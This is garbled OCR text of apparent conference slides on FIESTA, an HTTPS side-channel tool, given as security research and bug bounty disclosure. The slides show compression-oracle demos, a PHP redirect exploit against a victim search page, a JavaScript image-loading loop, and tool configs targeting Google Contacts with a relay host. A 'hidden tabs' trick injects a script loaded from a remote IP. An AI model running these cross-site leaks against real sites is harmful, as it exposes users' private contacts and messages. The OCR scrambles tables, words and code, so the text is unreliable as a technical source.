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584 posts 14.2m followers 43 following

Arnold Schwarzenegger Former Mr. Olympia, Conan,
Terminator, and Governor of California. | killed the Predator. |
told you I'd be back.
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But it’s just me ©

Jose Selvi (@Jose Selvi) @
+12 years in the infosec industry
Principal Penetration Tester & Security Researcher

SANS Institute Community Instructor

GIAC Security Expert (GSE)
Blogger (sometimes): http://www.pentester.es
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& G © @ M & https://contacts.penteste

Contacts Home New phone begins "1202"

Firsthame Lastname Email Phone

Sofia Vergara sofia@veryhotmail.com +1-202-555-0189
Scarlett Johansson hacked@icloud.com +1-202-555-0183
Halle Berry meow@nice.cat +1-202-555-0185
Jennifer Aniston hahah@ngelina.com +1-202-555-0104
Megan Fox transform-and-roll@outlook.com +1-202-555-0112

Emma Stone pretty@zomb.ie +1-202-555-0121
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No.
48
49
68
71
73
76
77

78

Time

11.937004
11.939562
12.235322
12.306949
12.307405
12.309430
12.353790
12.353797

Source

172.20.10.3
172.20.10.1
172.20.10.3

216.58.201.141
216.58.201.141

Destination
172.20.10.1
172.20.10.3
216.58.201.141
172.20.10.3
172.20.10.3
216.58.201.141
172.20.10.3
172.20.10.3

Protocol
DNS

DNS

TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2

Length

1454
856
159

Info

80 Standard query @x536c Ajclients.
96 Standard query responsej@x536c¢ /

262 Client Hello

rtificate,] Server Key Exchange

- B _NE D
ient Key Exchange, Change Cipt

New Session

Ticket, Change Ciphe

| 135 |Application Data

12.444549
12.510055
12.510064
12.510074
12.510665
12.518197
12.518204
12.518583
12.518870
12.519314
12.519318
12.530390

216.58.201.141
216.58.201.141
216.58.201.141
216.58.201.141
216.58.201.141
216.58.201.141
216.58.201.141
216.58.201.141
216.58.201.141
216.58.201.141
216.58.201.141
216.58.201.141

172.20.1
172.20.1
172.20.1
172.20.1
172.20.1
172.20.1
172.20.1
172.20.1
1
1
1
1

0.3
0.3
0.3
0.3
0.3
0.3
0.3
0.3
172.20.10.3
172.20.10.3
172.20.10.3
172.20.10.3

TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2
TLSv1.2

104
685
207
523
369
1454
862
1454
1454
1454
139
1454

Application
Application
Application
Application
Application
Application
Application
Application
Application
Application
Application
Application

Data
Data
Data
Data
Data
Data
Data
Data
Data
Data
Data
Data
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CRIME, BREACH & FIESTA

S echo "token=BEEFCAFE1337 token=A" | gzip | wc -c S echo "token=BEEFCAFE1337 token=BE" | gzip | wc -c

44 43

S echo "token=BEEFCAFE1337 token=B" | gzip | wc -c S echo "token=BEEFCAFE1337 token=BEEFCAFE" | gzip | wc -c
43 43

S echo "token=BEEFCAFE1337 token=BA" | gzip | wc -c S echo "token=BEEFCAFE1337 token=BEEFCXXX" | gzip | wc -c
44 46

WEB

BROWSER SERVER

BREACH
(HTTPS)
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PHP QUICK & DIRTY EXPLOIT

<body>

<img src="/trick.php?sleep=01&data=a">
<img src="/trick.php?sleep=02&data=b">
<img src="/trick.php?sleep=03&data=c">

<img

src="/trick.

php?sleep=048&data=d">

<img src="/trick.php?sleep=05&data=e">
<img src="/trick.php?sleep=06&data=f">
<img src="/trick.php?sleep=07&data=g">
<img src="/trick.php?sleep=08&data=h">
<img src="/trick.php?sleep=09&data=i">
<img src="/trick.php?sleep=10&data=j">

<img

[.]

src="/trick.

php?sleep=11&data=k">

<?php

sleep($_GET['sleep']);

header('Location: https://victim.com/search?query=user%20begins%20"

?>

. $ GET['data’']

")
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Hemi Leibowitz @ OWASP AppSec Israel 2015
Nethanel Gelernter @ Blackhat USA 2016

® 4 Gw

. <ScCript>...
\ﬁ GET g=in:sent&from:fdjakdhasd

T(Dummy) { ‘ Empty response

ﬁ GET g=in:sent&from:Alice
T(Cha”enge) { ? | Unknown response
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5.Real world examples
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Form
1 S sudo fiesta contacts_pentester.yaml
Informatlon [*] Proxy Server started 0.0.0.0:443
Exposed Via [*] Control Server started 0.0.0.0:80
. [*] Please intercept https://contacts.pentester.es
Size [*] FIESTA is starting...
. [*] Testing term "johansson " with charset "0123456789"
Transmitted
Attack

http://github.com/PentesterES/FIESTA
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config:
comment: "Please intercept https://contacts.pentester.es"
control: "img"
oracle: "response"

action: "relay"
relay host: "207.154.209.202"

relay port: 443
url: "https://contacts.pentester.es/search/§18"

test_delay: 2
term: "johansson "

charset: "0123456789"
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at about CORS? var i = 0;

function load imgs(){

var image = new Image();
image.onload = function(){

document.body.appendChild(image);

if (i++ < urls.length - 1) load_imgs();
}s
image.onerror = function(){

if (i++ < urls.length - 1) load_imgs();
}

image.src = urls[i];

}
load _imgs();

Request

WEB
BROWSER SERVER

&

(HTTPS)
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What about AJAX?

DNS Request DNS SERVER
WEB
PR
(HTTPS)
BROWSER

Request

WEB
SERVER
Response (HTTPS)
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What about HTTP/2?

WEB
SERVER
(HTTPS)

BROWSER
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What about HTTP/2?

DT N

Iy
—
P

WEB

)
BROWSER FIESTA SERVER
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What about HTTP/2?

HTTP/1.1

HTTP/2




FIESTA: an HTTPS side-channel party
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5.Real world examples
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Trying with well-know sites

Rank Root Domain Linking R

1 - 13,051,14

2 T | 0,335,327

6 / 3,106,560
7 ' ' 3,020,698

8 2,027,163



FIESTA: an HTTPS side-channel party

OUWASP
AppSec Europe

London 2nd-6th July 2018

! ' ; M =

https://hackerone.com/bugs.json?text_query=side%20channel

|1 Hacktivity Directory

Open (1) Pending disclosure (0) All (3) Custom (2)

side channel Show filters

28 ~ Most relevant ~
e #220516 Side-channel via response size in search feature
v 28 4 ME 1.67s (1]
52 Blements (] Network [ Rescurces (7) Timwlines {I} Debugger £ Sworage [35] Conscie Q) Search @
an resovces  [IESLTINR 1 < bugs json g 0
Name Ooman Type Meth Sche Status  Cach Soe Transfer Start T » Latency
gates nackerone.com XHR GET HITPS 200 NO 28 2408 1.29s 773.7ms
teams Mackerone . com xR GET HITPS 20 Ne 8 2408 1.5 751 % 3884~ |
current_user nackerone.com XHR GET HITPS 200 No 105 K8 3458 563 B&L &g O7ims |
tJtorals Backerone . com xR GET HITPS 20 Ne i8 240 x5 1.6 701. 7= 33463 |
ngtfications nackerone.com XHR GET HITPS 200 No 518 2458 2.45s 1048 4 380rs
collect W googie-a. XHR POST HITPS 200 Ne %8 ans 248 S99 2429 |
subjects hackerone.com XHR GET HITPS 200 No 5338 29718 2.456s 1.03s 8 8%%ems

B tugs json © |huckaromecom XHR  GEY  WITPS 200 No 10178  339x8 3513 207%9=s 3754 |

......... PR, B e Yo Pl S - ne W0 o Ine . 2 v 2L L. D 2 MSeme A
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Google Contacts

Contacts
Sabretooth

Frequently contacted

Scarlet Witch
Duplicates

Spiderman
Labels

Create label Thing

Settings

Send feedback
Winter Soldier

Help

Go to the old version Wolverine

000006 OO
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Goog'e Comacts
google.com

Q  wolverine
Google Contacts noexists

Contacts

Contacts
Frequently comacted

Frequently comacted
No results fh your contacts Duplicates

Duplicates
Labels

Labels
Create label

Create label

Settings

Settings Send feedback

Send feedback

™ J Inspector (i) Console Debugger

B Bl v : S XHR Fonts images
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googlelogo_light_cir_74x24px.svg 8 www.gstatic.com Request URL: https://lh3.googleusercontent. com/~XdUI¢

Request method: GET

Remote address: 216.58.201.129:443

- photo.jpg & 'h3.googleuserco

googlelogo_cir_74x24px.svg B www.gstatic.com

Status code: @ 200 0K

i et sttt Version: HTTP/2.0
n photo.jpg & 'h3.googleuserco
n photo./pg & 'h3.googleuserco

86400

Second = hour

24

Ll
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W Al HTML €SS JS XHR Fonts o) Media Flash

Status

® 0 ¢ &)

T

304
200
200
200
200
200

All

Status

200
200
200
200
200

Method

GET

GET

GET
GET

GET

HTML CSS

Method

File

il 16806943_10210431188030175_6064771...
s 1901895_10152233283083164_8682994...
B 13532885_10208611052008903_798809...
P 10428657_1609108285985412_7551995...
IR 12079336_10206870750463366_313687..
R 20664 1098835646955 1918184 n.ina?o..

JS XHR

Fonts L ) Media

File

Flash

3 20046668_10213683923430291_509964...
10354686_10150004552801856_220367...
10354686_10150004552801856_220367...

:‘*t' 17800131_.121883591685790_536171001...

é‘ 13445279_1213270858705714_57109656...

WS

PDPDPDPDPD

WS

Other

Domain

scontent-madi-1
scontent-mad1-1
scontent-madi-1i
scontent-mad1-1
scontent-mad1-1

scontent-magdi-1

Other

Domain
scontent-iga3-1.gx.fbcd...
scontent-iga3-1.gx.fbcd...
scontent-lga3-1.gx.fbcd...
scontent-lga3-1.gx.fbcd...
scontent-lga3-1.gx.fbcd...
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config:
comment: "Please intercept https://*.googleusercontent.com"
control: "open"

action: "drop"
. "https://contacts.google.com/search/§18"
wrong_term: "xxx"

guess_delay: 2
test_delay: 4

term: "wolverine "
charset: "0123456789"
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6.Bug bounty lessons
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& € 8 n «.google.com/sea ‘ & ‘ D $ A &

Back Q.  activation Q & O o

All results

Martin Your activation code -~ Please use this as your activation code: x6hjisds335bjxa. S¢ Mar 31

—_— y m ™ - -,
e I Inspector Console Debugger Style Egnor Performance r Memory m E Z] ts Wl 8 X

B Al HTML CSS JS XHMR Fonts JLCH Media Flash WS  Other @ 2requests, 3.06 KB, 15.05 s googleusercontent O =
Status Method File Domain Cause Type Transfe Size : 2048 s
200 GET & 'h3googleuserconte... img png ached 544 B
® 200 GET & 'h3.googleuserconte... €D img ipeg 253K8B 2.53K8 . 61 ms
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noexist

Search results
Search results
None of your files or folders ma

Try another search, or click the arrow In the

ar
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€ | (O 8 oropbox, Inc (U tt vww.dropbox.com pi ! ‘ 80% & wihD$ w90 L

Search f(’SUItS G noexist .I:l.
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1 de 1 resultados para “jose

oh, what a crappy application

™ {3 inspector ] Console (O Debugger { } Style Editor nfl' Performance {k Memory m

Fonts |} ) Media Flash WS Other @ 2requests, 3.5

B 11025150_10205475945514507_2075074 scontent-mad1-1.xx.fbc.. ) img peg

N

)
»
w
o
N

4
—
QO
N
o)
—
»
@

4
N
(4 1]
o

& 12243314_1020822 scontent-madi-1.xx.fbc.. £ img ipeg




DEMO

(video)
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6.Bug bounty lessons
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© Match all of the following Match any of the following Match all messages
From k4 contains .+l taviso@google.com +

Perform these actions:

Set Priority to u Highest U +

© Match all of the following Match any of the following Match all messages

From ﬂ contains ﬁ * +

Perform these actions:

Set Junk Status to u Junk ﬁ +
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Google
April 4th -> Sent to Bug Bounty.

April 5th-7th -> Back and forth emails. Browser problem?
April 7th-17th -> Second try. Wont Fix.

B HackerOne
April 12th -> Sent to Bug Bounty.
May 5th -> Duplicate from 2 years ago. Wont Fix.
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Eacebook
April 12th -> Sent to Bug Bounty.

April 19th- May 2nd -> Back and forth messages. Wont Fix.
May 15th -> Reactivated by Facebook Security Team

June 9th -> Fixed
June 16th -> Rewarded! SSS

Dropbox
April 11th -> Sent to Bug Bounty (HackerOne).

April 11th-17th -> Back and forth questions.
May 2nd -> Accepted & Rewarded! SS
Sept 19th -> Fixed
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¢ Buscar "text to search*?
Aceptar Cancelar
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BONUS (1): Pop Under techniques

.LiVGO\terﬂow SR ) code.picong.com

Work with iframe;

expLore weird ma(hings Here is your body.

Pop state saved in 15 seconds, please re N TTe: Funny Clips

A link with target = blank




FIESTA: an HTTPS side-channel party

OUWASP
AppSec Europe

London 2nd-6th July 2018

8 e

ma“ )

BONUS (l): Hidden Tabs
P o

<script src=
“http://192.168.1.7/fiesta.js” g.mem
type="text/javascript”>

</script> ror stomes

ﬁw

- : -,,§£~- ,
i ¥ U A 2
The stats that show Friday briefing: Facebodk and Assassin’'s Creed
how England could Samsung to switch Google must start  Odyssey makes
(almost) win the to renewable supporting good on its risky
World Cup energy Wikipedia, or it will PG gamble
die

2040 MEDORNDS WD AW

bORATHMETSME MAMER
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